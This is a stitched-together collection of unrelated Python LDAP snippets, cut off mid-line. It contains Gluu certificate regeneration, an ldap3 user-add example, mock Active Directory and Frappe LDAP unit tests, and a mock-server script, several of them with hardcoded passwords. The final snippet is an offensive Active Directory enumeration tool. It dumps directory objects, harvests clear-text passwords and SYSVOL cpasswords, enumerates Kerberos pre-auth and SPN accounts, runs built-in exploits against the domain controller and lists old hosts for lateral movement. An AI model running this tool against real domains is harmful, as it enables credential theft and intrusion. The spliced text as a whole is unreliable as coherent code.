self.c.put_file(conf_file, config_text) def create_new_certs(self): print "Backing up certificates" cmd_list = [ 'mkdir /etc/certs/backup', 'cp /etc/certs/* /etc/certs/backup' ] for cmd in cmd_list: print self.installer.run(cmd) print "Creating certificates" cmd_list = [ '/usr/bin/openssl genrsa -des3 -out /etc/certs/{0}.key.orig -passout pass:secret 2048', '/usr/bin/openssl rsa -in /etc/certs/{0}.key.orig -passin pass:secret -out /etc/certs/{0}.key', '/usr/bin/openssl req -new -key /etc/certs/{0}.key -out /etc/certs/{0}.csr -subj ' '"/C={4}/ST={5}/L={1}/O=Gluu/CN={2}/emailAddress={3}"'.format( '{0}', self.cert_city, self.new_host, self.cert_mail, self.cert_country, self.cert_state), '/usr/bin/openssl x509 -req -days 365 -in /etc/certs/{0}.csr -signkey /etc/certs/{0}.key -out /etc/certs/{0}.crt', 'chown root:gluu -R /etc/certs/', 'chown jetty:jetty /etc/certs/oxauth-keys*' ] cert_list = [ 'httpd', 'idp-encryption', 'idp-signing', 'shibIDP', 'passport-sp' ] for crt in cert_list: for cmd in cmd_list: cmd = cmd.format(crt) print self.installer.run(cmd) if not crt == 'saml.pem': del_key = ( '/opt/jre/bin/keytool -delete -alias {}_{} -keystore ' '/opt/jre/jre/lib/security/cacerts -storepass changeit' ).format(self.old_host, crt) r = self.installer.run(del_key) add_key = ( '/opt/jre/bin/keytool -import -trustcacerts -alias ' '{0}_{1} -file /etc/certs/{2}.crt -keystore ' '/opt/jre/jre/lib/security/cacerts -storepass changeit -noprompt' ).format(self.new_host, crt, crt) r = self.installer.run(add_key) self.installer.run('chown jetty:jetty /etc/certs/oxauth-keys.*') def modify_saml_passport(self): print "Modifying SAML & Passport if installed" files = [ '/opt/gluu-server-{0}/opt/shibboleth-idp/conf/idp.properties'. format(self.gluu_version), '/opt/gluu-server-{0}/opt/shibboleth-idp/metadata/idp-metadata.xml' .format(self.gluu_version), '/opt/gluu-server-{0}/etc/gluu/conf/passport-config.json'.format( self.gluu_version), ] for fn in files: if self.c.exists(fn): print "Modifying Shibboleth {0}".format(fn) r = self.c.get_file(fn) if r[0]: f = r[1].read() f = f.replace(self.old_host, self.new_host) print self.c.put_file(fn, f) def change_host_name(self): print "Changing hostname" hostname_file = os.path.join(self.container, 'etc/hostname') print self.c.put_file(hostname_file, self.new_host) def modify_etc_hosts(self): print "Modifying /etc/hosts" hosts_file = os.path.join(self.container, 'etc/hosts') r = self.c.get_file(hosts_file) if r[0]: old_hosts = r[1] news_hosts = modify_etc_hosts([(self.new_host, self.ip_address)], old_hosts, self.old_host) print self.c.put_file(hosts_file, news_hosts)
from ldap3.utils.hashed import hashed from ldap3 import Server, Connection, HASHED_MD5 server = Server('ldap://127.0.0.1:389') DN = 'cn=admin,dc=dexter,dc=com,dc=br' ldap = Connection(server, DN, '4linux') if ldap.bind(): print('Conectado ao server LDAP') else: print('usuario ou senha invalidos') user = { 'cn': 'Diogo', 'sn': 'Dionisio', 'mail': '*****@*****.**', 'UserPassword': hashed(HASHED_MD5, '4linux') } objectClass = ['person', 'inetOrgPerson', 'OrganizationalPerson', 'top'] dn = 'mail={0},dc=dexter,dc=com,dc=br'.format(user['mail']) if ldap.add(dn, objectClass, user): print('usuario cadatrado com sucesso') else: print('problema ao cadastrar o usuario')
def mock_ad_connection(password: str) -> Connection: """Create mock AD connection""" server = Server("my_fake_server", get_info=OFFLINE_AD_2012_R2) _pass = "******" # noqa # nosec connection = Connection( server, user="******", password=_pass, client_strategy=MOCK_SYNC, ) # Entry for password checking connection.strategy.add_entry( "cn=user,ou=users,dc=goauthentik,dc=io", { "name": "test-user", "objectSid": "unique-test-group", "objectClass": "person", "displayName": "Erin M. Hagens", "sAMAccountName": "sAMAccountName", "distinguishedName": "cn=user,ou=users,dc=goauthentik,dc=io", }, ) connection.strategy.add_entry( "cn=group1,ou=groups,dc=goauthentik,dc=io", { "name": "test-group", "objectSid": "unique-test-group", "objectClass": "group", "distinguishedName": "cn=group1,ou=groups,dc=goauthentik,dc=io", "member": ["cn=user0,ou=users,dc=goauthentik,dc=io"], }, ) # Group without SID connection.strategy.add_entry( "cn=group2,ou=groups,dc=goauthentik,dc=io", { "name": "test-group", "objectClass": "group", "distinguishedName": "cn=group2,ou=groups,dc=goauthentik,dc=io", }, ) connection.strategy.add_entry( "cn=user0,ou=users,dc=goauthentik,dc=io", { "userPassword": password, "sAMAccountName": "user0_sn", "name": "user0_sn", "revision": 0, "objectSid": "user0", "objectClass": "person", "distinguishedName": "cn=user0,ou=users,dc=goauthentik,dc=io", "userAccountControl": UserAccountControl.ACCOUNTDISABLE + UserAccountControl.NORMAL_ACCOUNT, }, ) # User without SID connection.strategy.add_entry( "cn=user1,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "sAMAccountName": "user2_sn", "name": "user1_sn", "revision": 0, "objectClass": "person", "distinguishedName": "cn=user1,ou=users,dc=goauthentik,dc=io", }, ) # Duplicate users connection.strategy.add_entry( "cn=user2,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "sAMAccountName": "user2_sn", "name": "user2_sn", "revision": 0, "objectSid": "unique-test2222", "objectClass": "person", "distinguishedName": "cn=user2,ou=users,dc=goauthentik,dc=io", }, ) connection.strategy.add_entry( "cn=user3,ou=users,dc=goauthentik,dc=io", { "userPassword": "******", "sAMAccountName": "user2_sn", "name": "user2_sn", "revision": 0, "objectSid": "unique-test2222", "objectClass": "person", "distinguishedName": "cn=user3,ou=users,dc=goauthentik,dc=io", }, ) connection.bind() return connection
class LDAP_TestCase(): TEST_LDAP_SERVER = None # must match the 'LDAP Settings' field option TEST_LDAP_SEARCH_STRING = None LDAP_USERNAME_FIELD = None DOCUMENT_GROUP_MAPPINGS = [] LDAP_SCHEMA = None LDAP_LDIF_JSON = None TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING = None def mock_ldap_connection(f): @functools.wraps(f) def wrapped(self, *args, **kwargs): with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap') as mock_connection: mock_connection.return_value = self.connection self.test_class = LDAPSettings(self.doc) # Create a clean doc localdoc = self.doc.copy() frappe.get_doc(localdoc).save() rv = f(self, *args, **kwargs) # Clean-up self.test_class = None return rv return wrapped def clean_test_users(): try: # clean up test user 1 frappe.get_doc("User", '*****@*****.**').delete() except Exception: pass try: # clean up test user 2 frappe.get_doc("User", '*****@*****.**').delete() except Exception: pass @classmethod def setUpClass(self, ldapServer='OpenLDAP'): self.clean_test_users() # Save user data for restoration in tearDownClass() self.user_ldap_settings = frappe.get_doc('LDAP Settings') # Create test user1 self.user1doc = { 'username': '******', 'email': '*****@*****.**', 'first_name': 'posix' } self.user1doc.update({ "doctype": "User", "send_welcome_email": 0, "language": "", "user_type": "System User", }) user = frappe.get_doc(self.user1doc) user.insert(ignore_permissions=True) # Create test user1 self.user2doc = { 'username': '******', 'email': '*****@*****.**', 'first_name': 'posix' } self.user2doc.update({ "doctype": "User", "send_welcome_email": 0, "language": "", "user_type": "System User", }) user = frappe.get_doc(self.user2doc) user.insert(ignore_permissions=True) # Setup Mock OpenLDAP Directory self.ldap_dc_path = 'dc=unit,dc=testing' self.ldap_user_path = 'ou=users,' + self.ldap_dc_path self.ldap_group_path = 'ou=groups,' + self.ldap_dc_path self.base_dn = 'cn=base_dn_user,' + self.ldap_dc_path self.base_password = '******' self.ldap_server = 'ldap://my_fake_server:389' self.doc = { "doctype": "LDAP Settings", "enabled": True, "ldap_directory_server": self.TEST_LDAP_SERVER, "ldap_server_url": self.ldap_server, "base_dn": self.base_dn, "password": self.base_password, "ldap_search_path_user": self.ldap_user_path, "ldap_search_string": self.TEST_LDAP_SEARCH_STRING, "ldap_search_path_group": self.ldap_group_path, "ldap_user_creation_and_mapping_section": '', "ldap_email_field": 'mail', "ldap_username_field": self.LDAP_USERNAME_FIELD, "ldap_first_name_field": 'givenname', "ldap_middle_name_field": '', "ldap_last_name_field": 'sn', "ldap_phone_field": 'telephonenumber', "ldap_mobile_field": 'mobile', "ldap_security": '', "ssl_tls_mode": '', "require_trusted_certificate": 'No', "local_private_key_file": '', "local_server_certificate_file": '', "local_ca_certs_file": '', "ldap_group_objectclass": '', "ldap_group_member_attribute": '', "default_role": 'Newsletter Manager', "ldap_groups": self.DOCUMENT_GROUP_MAPPINGS, "ldap_group_field": ''} self.server = Server(host=self.ldap_server, port=389, get_info=self.LDAP_SCHEMA) self.connection = Connection( self.server, user=self.base_dn, password=self.base_password, read_only=True, client_strategy=MOCK_SYNC) self.connection.strategy.entries_from_json(os.path.abspath(os.path.dirname(__file__)) + '/' + self.LDAP_LDIF_JSON) self.connection.bind() @classmethod def tearDownClass(self): try: frappe.get_doc('LDAP Settings').delete() except Exception: pass try: # return doc back to user data self.user_ldap_settings.save() except Exception: pass # Clean-up test users self.clean_test_users() # Clear OpenLDAP connection self.connection = None @mock_ldap_connection def test_mandatory_fields(self): mandatory_fields = [ 'ldap_server_url', 'ldap_directory_server', 'base_dn', 'password', 'ldap_search_path_user', 'ldap_search_path_group', 'ldap_search_string', 'ldap_email_field', 'ldap_username_field', 'ldap_first_name_field', 'require_trusted_certificate', 'default_role' ] # fields that are required to have ldap functioning need to be mandatory for mandatory_field in mandatory_fields: localdoc = self.doc.copy() localdoc[mandatory_field] = '' try: frappe.get_doc(localdoc).save() self.fail('Document LDAP Settings field [{0}] is not mandatory'.format(mandatory_field)) except frappe.exceptions.MandatoryError: pass except frappe.exceptions.ValidationError: if mandatory_field == 'ldap_search_string': # additional validation is done on this field, pass in this instance pass for non_mandatory_field in self.doc: # Ensure remaining fields have not been made mandatory if non_mandatory_field == 'doctype' or non_mandatory_field in mandatory_fields: continue localdoc = self.doc.copy() localdoc[non_mandatory_field] = '' try: frappe.get_doc(localdoc).save() except frappe.exceptions.MandatoryError: self.fail('Document LDAP Settings field [{0}] should not be mandatory'.format(non_mandatory_field)) @mock_ldap_connection def test_validation_ldap_search_string(self): invalid_ldap_search_strings = [ '', 'uid={0}', '(uid={0}', 'uid={0})', '(&(objectclass=posixgroup)(uid={0})', '&(objectclass=posixgroup)(uid={0}))', '(uid=no_placeholder)' ] # ldap search string must be enclosed in '()' for ldap search to work for finding user and have the same number of opening and closing brackets. for invalid_search_string in invalid_ldap_search_strings: localdoc = self.doc.copy() localdoc['ldap_search_string'] = invalid_search_string try: frappe.get_doc(localdoc).save() self.fail("LDAP search string [{0}] should not validate".format(invalid_search_string)) except frappe.exceptions.ValidationError: pass def test_connect_to_ldap(self): # setup a clean doc with ldap disabled so no validation occurs (this is tested seperatly) local_doc = self.doc.copy() local_doc['enabled'] = False self.test_class = LDAPSettings(self.doc) with mock.patch('ldap3.Server') as ldap3_server_method: with mock.patch('ldap3.Connection') as ldap3_connection_method: ldap3_connection_method.return_value = self.connection with mock.patch('ldap3.Tls') as ldap3_Tls_method: function_return = self.test_class.connect_to_ldap(base_dn=self.base_dn, password=self.base_password) args, kwargs = ldap3_connection_method.call_args prevent_connection_parameters = { # prevent these parameters for security or lack of the und user from being able to configure 'mode': { 'IP_V4_ONLY': 'Locks the user to IPv4 without frappe providing a way to configure', 'IP_V6_ONLY': 'Locks the user to IPv6 without frappe providing a way to configure' }, 'auto_bind': { 'NONE': 'ldap3.Connection must autobind with base_dn', 'NO_TLS': 'ldap3.Connection must have TLS', 'TLS_AFTER_BIND': '[Security] ldap3.Connection TLS bind must occur before bind' } } for connection_arg in kwargs: if connection_arg in prevent_connection_parameters and \ kwargs[connection_arg] in prevent_connection_parameters[connection_arg]: self.fail('ldap3.Connection was called with {0}, failed reason: [{1}]'.format( kwargs[connection_arg], prevent_connection_parameters[connection_arg][kwargs[connection_arg]])) if local_doc['require_trusted_certificate'] == 'Yes': tls_validate = ssl.CERT_REQUIRED tls_version = ssl.PROTOCOL_TLSv1 tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version) self.assertTrue(kwargs['auto_bind'] == ldap3.AUTO_BIND_TLS_BEFORE_BIND, 'Security: [ldap3.Connection] autobind TLS before bind with value ldap3.AUTO_BIND_TLS_BEFORE_BIND') else: tls_validate = ssl.CERT_NONE tls_version = ssl.PROTOCOL_TLSv1 tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version) self.assertTrue(kwargs['auto_bind'], 'ldap3.Connection must autobind') ldap3_Tls_method.assert_called_with(validate=tls_validate, version=tls_version) ldap3_server_method.assert_called_with(host=self.doc['ldap_server_url'], tls=tls_configuration) self.assertTrue(kwargs['password'] == self.base_password, 'ldap3.Connection password does not match provided password') self.assertTrue(kwargs['raise_exceptions'], 'ldap3.Connection must raise exceptions for error handling') self.assertTrue(kwargs['user'] == self.base_dn, 'ldap3.Connection user does not match provided user') ldap3_connection_method.assert_called_with(server=ldap3_server_method.return_value, auto_bind=True, password=self.base_password, raise_exceptions=True, read_only=True, user=self.base_dn) self.assertTrue(type(function_return) is ldap3.core.connection.Connection, 'The return type must be of ldap3.Connection') function_return = self.test_class.connect_to_ldap(base_dn=self.base_dn, password=self.base_password, read_only=False) args, kwargs = ldap3_connection_method.call_args self.assertFalse(kwargs['read_only'], 'connect_to_ldap() read_only parameter supplied as False but does not match the ldap3.Connection() read_only named parameter') @mock_ldap_connection def test_get_ldap_client_settings(self): result = self.test_class.get_ldap_client_settings() self.assertIsInstance(result, dict) self.assertTrue(result['enabled'] == self.doc['enabled']) # settings should match doc localdoc = self.doc.copy() localdoc['enabled'] = False frappe.get_doc(localdoc).save() result = self.test_class.get_ldap_client_settings() self.assertFalse(result['enabled']) # must match the edited doc @mock_ldap_connection def test_update_user_fields(self): test_user_data = { 'username': '******', 'email': '*****@*****.**', 'first_name': 'posix', 'middle_name': 'another', 'last_name': 'user', 'phone': '08 1234 5678', 'mobile_no': '0421 123 456' } test_user = frappe.get_doc("User", test_user_data['email']) self.test_class.update_user_fields(test_user, test_user_data) updated_user = frappe.get_doc("User", test_user_data['email']) self.assertTrue(updated_user.middle_name == test_user_data['middle_name']) self.assertTrue(updated_user.last_name == test_user_data['last_name']) self.assertTrue(updated_user.phone == test_user_data['phone']) self.assertTrue(updated_user.mobile_no == test_user_data['mobile_no']) @mock_ldap_connection def test_sync_roles(self): if self.TEST_LDAP_SERVER.lower() == 'openldap': test_user_data = { 'posix.user1': ['Users', 'Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'], 'posix.user2': ['Users', 'Group3', 'default_role', 'frappe_default_all', 'frappe_default_guest'] } elif self.TEST_LDAP_SERVER.lower() == 'active directory': test_user_data = { 'posix.user1': ['Domain Users', 'Domain Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'], 'posix.user2': ['Domain Users', 'Enterprise Administrators', 'default_role', 'frappe_default_all', 'frappe_default_guest'] } role_to_group_map = { self.doc['ldap_groups'][0]['erpnext_role']: self.doc['ldap_groups'][0]['ldap_group'], self.doc['ldap_groups'][1]['erpnext_role']: self.doc['ldap_groups'][1]['ldap_group'], self.doc['ldap_groups'][2]['erpnext_role']: self.doc['ldap_groups'][2]['ldap_group'], 'Newsletter Manager': 'default_role', 'All': 'frappe_default_all', 'Guest': 'frappe_default_guest', } # re-create user1 to ensure clean frappe.get_doc("User", '*****@*****.**').delete() user = frappe.get_doc(self.user1doc) user.insert(ignore_permissions=True) for test_user in test_user_data: test_user_doc = frappe.get_doc("User", test_user + '@unit.testing') test_user_roles = frappe.get_roles(test_user + '@unit.testing') self.assertTrue(len(test_user_roles) == 2, 'User should only be a part of the All and Guest roles') # check default frappe roles self.test_class.sync_roles(test_user_doc, test_user_data[test_user]) # update user roles frappe.get_doc("User", test_user + '@unit.testing') updated_user_roles = frappe.get_roles(test_user + '@unit.testing') self.assertTrue(len(updated_user_roles) == len(test_user_data[test_user]), 'syncing of the user roles failed. {0} != {1} for user {2}'.format(len(updated_user_roles), len(test_user_data[test_user]), test_user)) for user_role in updated_user_roles: # match each users role mapped to ldap groups self.assertTrue(role_to_group_map[user_role] in test_user_data[test_user], 'during sync_roles(), the user was given role {0} which should not have occured'.format(user_role)) @mock_ldap_connection def test_create_or_update_user(self): test_user_data = { 'posix.user1': ['Users', 'Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'], } test_user = '******' frappe.get_doc("User", test_user + '@unit.testing').delete() # remove user 1 with self.assertRaises(frappe.exceptions.DoesNotExistError): # ensure user deleted so function can be tested frappe.get_doc("User", test_user + '@unit.testing') with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.update_user_fields') \ as update_user_fields_method: update_user_fields_method.return_value = None with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.sync_roles') as sync_roles_method: sync_roles_method.return_value = None # New user self.test_class.create_or_update_user(self.user1doc, test_user_data[test_user]) self.assertTrue(sync_roles_method.called, 'User roles need to be updated for a new user') self.assertFalse(update_user_fields_method.called, 'User roles are not required to be updated for a new user, this will occur during logon') # Existing user self.test_class.create_or_update_user(self.user1doc, test_user_data[test_user]) self.assertTrue(sync_roles_method.called, 'User roles need to be updated for an existing user') self.assertTrue(update_user_fields_method.called, 'User fields need to be updated for an existing user') @mock_ldap_connection def test_get_ldap_attributes(self): method_return = self.test_class.get_ldap_attributes() self.assertTrue(type(method_return) is list) @mock_ldap_connection def test_fetch_ldap_groups(self): if self.TEST_LDAP_SERVER.lower() == 'openldap': test_users = { 'posix.user': ['Users', 'Administrators'], 'posix.user2': ['Users', 'Group3'] } elif self.TEST_LDAP_SERVER.lower() == 'active directory': test_users = { 'posix.user': ['Domain Users', 'Domain Administrators'], 'posix.user2': ['Domain Users', 'Enterprise Administrators'] } for test_user in test_users: self.connection.search( search_base=self.ldap_user_path, search_filter=self.TEST_LDAP_SEARCH_STRING.format(test_user), attributes=self.test_class.get_ldap_attributes()) method_return = self.test_class.fetch_ldap_groups(self.connection.entries[0], self.connection) self.assertIsInstance(method_return, list) self.assertTrue(len(method_return) == len(test_users[test_user])) for returned_group in method_return: self.assertTrue(returned_group in test_users[test_user]) @mock_ldap_connection def test_authenticate(self): with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.fetch_ldap_groups') as \ fetch_ldap_groups_function: fetch_ldap_groups_function.return_value = None self.assertTrue(self.test_class.authenticate('posix.user', 'posix_user_password')) self.assertTrue(fetch_ldap_groups_function.called, 'As part of authentication function fetch_ldap_groups_function needs to be called') invalid_users = [ {'prefix_posix.user': '******'}, {'posix.user_postfix': 'posix_user_password'}, {'posix.user': '******'}, {'posix.user': '******'}, {'posix.user': ''}, {'': 'posix_user_password'}, {'': ''} ] # All invalid users should return 'invalid username or password' for username, password in enumerate(invalid_users): with self.assertRaises(frappe.exceptions.ValidationError) as display_massage: self.test_class.authenticate(username, password) self.assertTrue(str(display_massage.exception).lower() == 'invalid username or password', 'invalid credentials passed authentication [user: {0}, password: {1}]'.format(username, password)) @mock_ldap_connection def test_complex_ldap_search_filter(self): ldap_search_filters = self.TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING for search_filter in ldap_search_filters: self.test_class.ldap_search_string = search_filter if 'ACCESS:test3' in search_filter: # posix.user does not have str in ldap.description auth should fail with self.assertRaises(frappe.exceptions.ValidationError) as display_massage: self.test_class.authenticate('posix.user', 'posix_user_password') self.assertTrue(str(display_massage.exception).lower() == 'invalid username or password') else: self.assertTrue(self.test_class.authenticate('posix.user', 'posix_user_password')) def test_reset_password(self): self.test_class = LDAPSettings(self.doc) # Create a clean doc localdoc = self.doc.copy() localdoc['enabled'] = False frappe.get_doc(localdoc).save() with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap') as connect_to_ldap: connect_to_ldap.return_value = self.connection with self.assertRaises(frappe.exceptions.ValidationError) as validation: # Fail if username string used self.test_class.reset_password('posix.user', 'posix_user_password') self.assertTrue(str(validation.exception) == 'No LDAP User found for email: posix.user') try: self.test_class.reset_password('*****@*****.**', 'posix_user_password') # Change Password except Exception: # An exception from the tested class is ok, as long as the connection to LDAP was made writeable pass connect_to_ldap.assert_called_with(self.base_dn, self.base_password, read_only=False) @mock_ldap_connection def test_convert_ldap_entry_to_dict(self): self.connection.search( search_base=self.ldap_user_path, search_filter=self.TEST_LDAP_SEARCH_STRING.format("posix.user"), attributes=self.test_class.get_ldap_attributes()) test_ldap_entry = self.connection.entries[0] method_return = self.test_class.convert_ldap_entry_to_dict(test_ldap_entry) self.assertTrue(type(method_return) is dict) # must be dict self.assertTrue(len(method_return) == 6) # there are 6 fields in mock_ldap for use
} with open(ENTRIES_OUTPUT, "w") as f: json.dump(filtered_entries, f, indent=2) else: raise RuntimeError("ldap search failed!") # Close the connection to the real server connection.unbind() # Create a fake server from the info and schema json files fake_server = Server.from_definition("csua_mock", INFO_OUTPUT, SCHEMA_OUTPUT) # Create a MockSyncStrategy connection to the fake server fake_connection = Connection(fake_server, client_strategy=MOCK_SYNC) # Populate the DIT of the fake server fake_connection.strategy.entries_from_json(ENTRIES_OUTPUT) # Add a fake user for Simple binding fake_connection.strategy.add_entry( "cn=django_test_user,ou=People,dc=csua,dc=berkeley,dc=edu", { "uid": "django_test_user", "userPassword": "******" }, ) # Bind to the fake server fake_connection.bind()
class EnumAD(): def __init__(self, domainController, ldaps, output, enumsmb, bhout, kpre, spnEnum, searchSysvol, dryrun, domuser=None): self.server = domainController self.domuser = domuser self.ldaps = ldaps self.output = output self.bhout = bhout self.kpre = kpre self.spnEnum = spnEnum self.enumsmb = enumsmb self.searchSysvol = searchSysvol self.ou_structure = domainController.split('.') self.dc_string='' for element in self.ou_structure: self.dc_string += 'dc={},'.format(element) # LDAP properties # At the moment we just want everything self.ldapProps = ["*"] # Setting lists containing elements we want from the domain controller self.computers = [] self.people = [] self.groups = [] self.spn = [] self.acl = [] self.gpo = [] self.domains = [] self.ous = [] self.deletedUsers = [] self.passwd = False # TODO: Figure a good way to go through the code dryrun if dryrun: print(self.server, self.domuser, self.ldaps, self.output, self.bhout, self.kpre, self.spnEnum, self.enumsmb, self.searchSysvol, self.ou_structure, self.dc_string) return if domuser is not False: self.runWithCreds() self.enumDeleted() else: self.runWithoutCreds() self.enumDeleted() self.testExploits() if not self.CREDS: print('[ ' + colored('WARN', 'yellow') +' ] Didn\'t find useable info as anonymous user, please gather credentials and run again') def runWithCreds(self): self.CREDS = True if not self.passwd: self.passwd = str(getpass()) self.bind() self.search() if self.output: self.write_file() self.checkForPW() self.checkOS() if self.searchSysvol: self.checkSYSVOL() if self.bhout: self.outputToBloodhoundJson() if self.kpre: self.enumKerbPre() if self.spnEnum: self.enumSPNUsers() self.conn.unbind() if self.enumsmb: # Setting variables for further testing and analysis self.smbShareCandidates = [] self.smbBrowseable = {} self.sortComputers() self.enumSMB() # Lets clear variable now self.passwd = None def runWithoutCreds(self): self.CREDS = False print('[ ' + colored('INFO', 'green') + ' ] Attempting to get objects without credentials') self.passwd = '' self.domuser = '' print('') self.bind() self.search() if self.output: self.write_file() self.checkForPW() self.checkOS() self.enumForCreds(self.people) return @contextlib.contextmanager def suppressOutput(self): with open(os.devnull, 'w') as devnull: with contextlib.redirect_stderr(devnull) as err, contextlib.redirect_stdout(devnull) as out: yield (err, out) def enumDeleted(self): if len(self.deletedUsers) > 0: print('[ ' + colored('INFO', 'green') +' ] Searching for juicy info in deleted users') self.enumForCreds(self.deletedUsers) def testExploits(self): from .exploits import exploits print('[ ' + colored('OK', 'green') +' ] Attempting to run imbedded exploits...') exp = exploits.Exploits(self.server, self.computers[0]["name"]) if len(exp.vulnerable) > 0: cves = "" for exploit in exp.vulnerable: cves += f"{exploit}, " print('[ ' + colored('WARN', 'yellow') + f' ] DC may be vulnerable to: [ ' + colored(cves[:-2], 'green') + ' ]') else: print('[ ' + colored('OK', 'green') + ' ] DC not vulnerable to included exploits') def bind(self): try: if self.ldaps: self.dc_conn = Server(self.server, port=636, use_ssl=True, get_info='ALL') self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd) self.conn.bind() self.conn.start_tls() # Validate the login (bind) request if int(self.conn.result['result']) != 0: print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.conn.result['description'])) sys.exit(1) else: print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAPS server: {0}'.format(self.server)) else: self.dc_conn = Server(self.server, get_info=ALL) self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd) self.conn.bind() # Validate the login (bind) request if int(self.conn.result['result']) != 0: print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.conn.result['description'])) sys.exit(1) else: print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAP server: {0}'.format(self.server)) # TODO: Catch individual exceptions instead except Exception: if self.ldaps: print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.server)) else: print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.server)) sys.exit(1) def search(self): # Get computer objects self.conn.search(self.dc_string[:-1], '(&(sAMAccountType=805306369)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.computers.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all Computer objects') # Get person objects self.conn.search(self.dc_string[:-1], '(objectCategory=person)', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.people.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all Person objects') # Get group objects self.conn.search(self.dc_string[:-1], '(|(samaccounttype=268435456)(samaccounttype=268435457)(samaccounttype=536870912)(samaccounttype=536870913)(primarygroupid=*))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.groups.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all Group objects') # Get SPN objects self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(serviceprincipalname=*))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.spn.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all SPN objects') # Get ACL objects self.conn.search(self.dc_string[:-1], '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913)(objectClass=domain)(&(objectcategory=groupPolicyContainer)(flags=*))(objectcategory=organizationalUnit))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.acl.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all ACL objects') # Get GPO objects self.conn.search(self.dc_string[:-1], '(|(&(&(objectcategory=groupPolicyContainer)(flags=*))(name=*)(gpcfilesyspath=*))(objectcategory=organizationalUnit)(objectClass=domain))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.gpo.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all GPO objects') # Get Domain self.conn.search(self.dc_string[:-1], '(objectclass=domain)', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.domains.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all Domains') # Get OUs self.conn.search(self.dc_string[:-1], '(objectclass=organizationalUnit)', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: self.ous.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all OUs') # Get deleted users self.conn.search(self.dc_string[:-1], '(objectclass=user)', attributes=self.ldapProps, search_scope=SUBTREE, controls=[('1.2.840.113556.1.4.417', True, None)]) for entry in self.conn.entries: self.deletedUsers.append(entry) print('[ ' + colored('OK', 'green') +' ] Got all deleted users') ''' Since it sometimes is real that the property 'userPassword:'******''' def checkForPW(self): passwords = {} idx = 0 for _ in self.people: user = json.loads(self.people[idx].entry_to_json()) idx += 1 if user['attributes'].get('userPassword') is not None: passwords[user['attributes']['name'][0]] = user['attributes'].get('userPassword') if len(passwords.keys()) > 0: with open('{0}-clearpw'.format(self.server), 'w') as f: json.dump(passwords, f, sort_keys=False) if len(passwords.keys()) == 1: print('[ ' + colored('WARN', 'yellow') +' ] Found {0} clear text password'.format(len(passwords.keys()))) elif len(passwords.keys()) == 0: print('[ ' + colored('OK', 'green') +' ] Found {0} clear text password'.format(len(passwords.keys()))) else: print('[ ' + colored('OK', 'green') +' ] Found {0} clear text passwords'.format(len(passwords.keys()))) ''' While it is not unusual to find EOL servers hidden or forgotten these often makes easier targets for lateral movemen, and because of that we'll dump the lowest registered OS and the respective hosts for easier enumeration afterwards ''' def checkOS(self): os_json = { # Should perhaps include older version "Windows XP": [], "Windows Server 2008": [], "Windows 7": [], "Windows Server 2012": [], "Windows 10": [], "Windows Server 2016": [], "Windows Server 2019": [] } idx = 0 for _ in self.computers: computer = json.loads(self.computers[idx].entry_to_json()) idx += 1 for os_version in os_json.keys(): try: if os_version in computer['attributes'].get('operatingSystem'): os_json[os_version].append(computer['attributes']['dNSHostName']) except TypeError: # computer['attributes'].get('operatingSystem') is of NoneType, just continue continue for key, value in os_json.items(): if len(value) == 0: continue with open('{0}-oldest-OS'.format(self.server), 'w') as f: for item in value: f.write('{0}: {1}\n'.format(key, item)) break print('[ ' + colored('OK', 'green') + ' ] Wrote hosts with oldest OS to {0}-oldest-OS'.format(self.server)) def checkSYSVOL(self): print('[ .. ] Searching SYSVOL for cpasswords\r') cpasswords = {} try: smbconn = smbconnection.SMBConnection('\\\\{0}\\'.format(self.server), self.server, timeout=5) smbconn.login(self.domuser, self.passwd) dirs = smbconn.listShares() for share in dirs: if str(share['shi1_netname']).rstrip('\0').lower() == 'sysvol': path = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*') paths = [e.get_shortname() for e in path if len(e.get_shortname()) > 2] for dirname in paths: try: # Dont want . or .. subPath = 